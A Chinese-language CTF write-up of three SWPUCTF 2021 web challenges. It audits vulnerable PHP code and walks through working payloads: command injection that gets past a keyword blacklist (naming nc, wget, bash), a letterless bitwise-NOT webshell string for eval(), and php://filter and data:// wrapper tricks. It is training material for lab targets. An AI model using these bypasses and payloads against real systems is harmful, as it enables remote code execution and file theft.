16.[SWPUCTF 2021 新生赛]finalrce
打开题目,进行代码审计。
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
这段代码是一个PHP脚本,用于检查用户输入的URL是否包含某些特定的命令。如果包含这些命令,则输出"Sorry,you can't use this.",否则输出"Can you see anything?"并执行该URL。
highlight_file(__FILE__);
这行代码用于高亮显示当前文件的内容。if(isset($_GET['url']))
判断是否有名为'url'的GET参数传递进来。$url=$_GET['url'];
获取名为'url'的GET参数的值,并将其赋值给变量$url。if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
使用正则表达式检查$url中是否包含指定的命令。- 如果包含指定命令,则输出"Sorry,you can't use this."。
- 如果不包含指定命令,则输出"Can you see anything?"并执行$url。
可以看到题目要求GET传入一个参数,且过滤了一系列字符串
exec(string $command, array &$output = null, int &$result_code = null): string|false
exec() 执行 command
参数所指定的命令。如果提供了 output
参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。如果同时提供 output
和 result_code
参数,命令执行后的返回状态会被写入到result_code
。
返回命令执行结果的最后一行内容。
这里需要用到一个tee命令
tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
开始构造payload。
基本结构为:command | tee file.txt
因为题目没过滤 | , 这是一个管道命令符号,用于将前一个命令的输出作为后一个命令的输入
那么这句话的意思就是将command我们需要执行的命令的输出作为tee命令的输入,tee命令再将其存到file.txt里
需要先绕过ls
/?url=l\s / |tee 1.txt
看到回显之后。传入后我们再访问/1.txt
- 看到flag的位置了,且没过滤tac,于是直接读取:
/?url=tac /flllll\aaaaaaggggggg |tee 2.txt
注意这里la之间也需要绕过,斜杠后一定要加空格, 否则效果不一样
再访问2.txt
得到flag:
17.[SWPUCTF 2021 新生赛]hardrce
拿到题目,进行代码审计
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
分析一下
<?php
header("Content-Type:text/html;charset=utf-8"); // 设置响应头,指定内容类型为HTML,字符集为UTF-8
error_reporting(0); // 关闭错误报告,不显示错误信息
highlight_file(__FILE__); // 高亮显示当前文件的内容
if(isset($_GET['wllm'])) // 判断是否存在名为'wllm'的GET参数
{
$wllm = $_GET['wllm']; // 获取名为'wllm'的GET参数的值,并将其赋值给变量$wllm
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',]; // 定义一个黑名单数组,包含不允许出现在参数中的字符
foreach ($blacklist as $blackitem) // 遍历黑名单数组中的每个字符
{
if (preg_match('/' . $blackitem . '/m', $wllm)) { // 使用正则表达式匹配参数中是否包含黑名单中的字符
die("LTLT说不能用这些奇奇怪怪的符号哦!"); // 如果匹配成功,输出错误信息并终止程序执行
}
}
if(preg_match('/[a-zA-Z]/is',$wllm)) // 使用正则表达式匹配参数中是否包含字母
{
die("Ra's Al Ghul说不能用字母哦!"); // 如果匹配成功,输出错误信息并终止程序执行
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?"; // 如果参数中既不包含黑名单中的字符也不包含字母,输出提示信息
}
else
{
echo "蔡总说:注意审题!!!"; // 如果不存在名为'wllm'的GET参数,输出提示信息
}
?>
老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户
可以参考一下这个文章。
分析这个题目:
代码给了一个黑名单,过滤了一系列字符,其中包括异或,且过滤了所有字母,这时候就涉及无字母RCE绕过了。
无数字字母rce
:就是不利用数字和字母构造出webshell
,从而能够执行我们的命令
主要用到两种方法:1.异或 2.取反两种方法,这两种方法是目前来看最实用的两种方法。
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_$code=$_get['code']; eval($code);-CSDN博客
也可以看看这个大佬的博客。
构造payload
我们首先对一串代码进行取反,然后再进行url编码,在发送请求的时候将其再次取反即可。因为取反之后基本都是不可见字符,所以基本上不会被正则匹配到
- 我们先构造
system('ls /')
,因为没有过滤括号,我们只对括号内外分别取反再编码再取反即可: system是(~%8C%86%8C%8B%9A%92)
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8c%df%d0);
可以利用这个脚本
s = "ls"
for i in range(len(s)):
print('%'+str(hex((255)-ord(s[i]))[2:]),end='')
或者这个
<?php
echo urldecode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>
这样就可以构造出来这个payload。
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
- 再构造
cat /flllllaaaaaaggggggg
:
<?php
echo urldecode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>
构造出来
?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
18.[SWPUCTF 2021 新生赛]PseudoProtocols
开启环境,我们看到题目给了一个提示。
这里给了提示找到hint.php
然后url
里面有个wllm
参数 直接使用伪协议然后进行访问
我们先试一试hint.php
没有回显。然后试一下经典的base64伪协议payload。
php://filter/read/convert.base64-encode/resource=hint.php
成功得到一串base64编码,解密一下。
需要我们查看test2222222222222.php
,这里不需要使用伪协议,直接修改url即可:
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
进行代码审计。
<?php
ini_set("max_execution_time", "180"); // 设置最大执行时间为180秒
show_source(__FILE__); // 显示当前文件的源代码
include('flag.php'); // 包含名为'flag.php'的文件
$a= $_GET["a"]; // 获取名为"a"的GET参数的值,并将其赋值给变量$a
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){ // 判断变量$a是否存在且其对应的文件内容是否为'I want flag'
echo "success\n"; // 如果条件成立,输出"success"
echo $flag; // 输出变量$flag的值
}
?>
关键点在于file_get_contents($a,'r')
,简单介绍一下:
file_get_contents() 把整个文件读入一个字符串中。即,这个函数会将文件内容以字符串形式输出,'r' 表示只读
a
参数利用file_get_contents()
函数已只读的方式打开,如果内容等于I want flag
的话输出flag
。那么我们关键需要让 $a 所表示的文件的内容存放 I want flag
,这怎么做到呢?这里就需要介绍另一个PHP伪协议了:
data://
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
示例:
http://127.0.0.1/include.php?file=data://text/plain;base64,xxxx(base64编码)
因此我们先将 I want flag
进行base64编码:SSB3YW50IGZsYWc=
之后在url中的test2222222222222.php后面加入构造的payload
?a=data://text/plain;base64,SSB3YW50IGZsYWc=
这样就可以得到flag了。
还有一个办法,这里是另外一个协议。
data://
本身是数据流封装器,其原理和用法跟php://input
类似,但是是发送GET
请求参数。
PayLoad:?a=data://text/plain,I want flag
用这个payload就也可以解出来。